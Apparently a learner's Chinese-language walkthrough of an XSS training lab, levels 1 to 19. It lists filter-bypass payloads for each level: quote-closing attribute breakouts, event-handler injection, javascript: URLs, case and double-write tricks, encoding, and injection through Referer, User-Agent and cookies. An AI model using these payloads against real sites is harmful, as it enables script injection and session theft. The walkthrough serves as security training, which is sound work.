文章目录
大佬总结的xss的原理
1.level1
输入 < script>alert<\script>就通过了,这道题应该是反射型的xss,数据到了后端再回到浏览器
为什么能够运行?
GET输入了name的参数,然后 PHP 会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果参数中存在 HTML 结构性的内容,打印之后会直接解释为 HTML 元素。
常见的xss攻击方法
html< script>标签
该标签常常用于引入js脚本
用法:
1.< script type="脚本的MIME类型>内容</ script>
2.< script type="脚本的MIME类型 src=“外部脚本语言地址”></ script>
3.< script>内容</ script>
2.leve2
htmlspecialchars()函数可以将特殊字符转义后输出于是我们的脚本就不能再用第一种了,不能执行了
htmlspecialchars默认配置是不过滤单引号的
所以可以使用单引号来绕过:
预定义的字符是:
& (和号)成为 & 默认
" (双引号)成为 "
’ (单引号)成为 ’
< (小于)成为 < 默认
> (大于)成为 > 默认
它的语法如下:
htmlspecialchars(string,flags,character-set,double_encode)
其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下:
可用的引号类型:
ENT_COMPAT - 默认。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
这里使用了这个函数,但是在input标签哪里没有对str参数进行转义,因此我们可以用"闭合input标签绕过
"><script>alert('xss')</script>
3.leve3
看到input那里是’ “” ’ 这种我们可以闭合单引号来绕过:
而两次的htmlspecialchars函数就把<>给转义掉了,因此换一种方法:
1.'οnclick='alert(/xss/) 点击输入框就会触发
2.'οnmοuseοver='alert(/xss/) 鼠标移动到输入框触发
4.leve4
可以看到过滤了<>,以及使用了htmlspecialchars
使用双引号绕过:
"οnclick="alert(/xss/)
5.leve5
可以看到过滤了<script,<scr_ipt,on,o_n:
payload:
">< a href=‘javascript:alert(/xss/)’>
href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段
6.leve6
可以看到过滤了很多
但是替换之前没有转换大小写,因此可以用大小写绕过
payload:
">< Script>alert(/xss/)</ Script>
"><img Src=“1.jpg” Onerror=“alert(/xss/)”
插入一个不存在的图片,然后调用onerror
7.leve7
这一关不能进行大小写的绕过了,发现只是匹配了一次字符,因此可以使用双写绕过
payload:
”oonnclick=“alert(/xss/)
8.leve8
这道题考察了javascript伪协议
尝试输入JavaScript:alert(/xss/)发现不行
对这段代码进行Unicode编码:
javascript:alert(/xss/)
成功通过
分析源代码,发现参数输入后将其替换成了,小写(strtolower函数),过滤了script,on,scr,data,href,”
编码绕过的方法
9.level9
可以看到过滤策略还是跟8是一样的
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
可以看到我们输入的代码必须包含这个,payload:
javascript:alert(/xss/)//http://123.com
这里只编码了t使得代码更加简洁易懂
10.leve10
可以看到要我们传入两个参数,其中第二个才有操作空间,过滤了<>,以及转义了特殊字符
t_sort="type="text" onclick="alert(/xss/)"
那么传入后的整体代码就应该是:
value="'" type = "text" onclick="alert(/xss/)" "type="hidden"
11.level11
这道题的注入点在refer:
就可以注入了,type=’text‘的作用是让其出现一个文本框,方便点击
12.level12
这道题的注入点在user-agent与10和11没有区别
13.level13
注入点在cookie:
14.level14
无
15.level15
ng-include
可以看到ng-include中有src,而这道题的注入点就是在这个地方
payload:
?src='level1.php?name=<img src=1 onerror=alert(1)>'
因为str被转义了所以直接输入注入代码是没用的,而这道题采用了本地包含的模式包含了level1的内容然后再由img标签传递src,还不是很懂,看网上说这个相当于include函数
16.level16
查看元素发现有个img标签可以修改,然后就过了。。。
正常应该的做法:
可以看到,过滤了很多
payload:
?keyword=<img%0asrc="1"%0aonerror=alert('xss')>
17.level17
可以看到使用了embed标签,同时那两个参数都没有用什么特殊符号包裹起来
embed的语法格式:<embed 属性1=“属性值1” 属性2=“属性值2”……>
这样我们就可以尝试在任意一个属性后面拼接 οnmοuseοver=alert(/xss/)
payload:
?arg01=a" onmouseover=alert(1)&arg02=b
18.level18
同17一样
19.level19
后面再来。。。。搞不懂了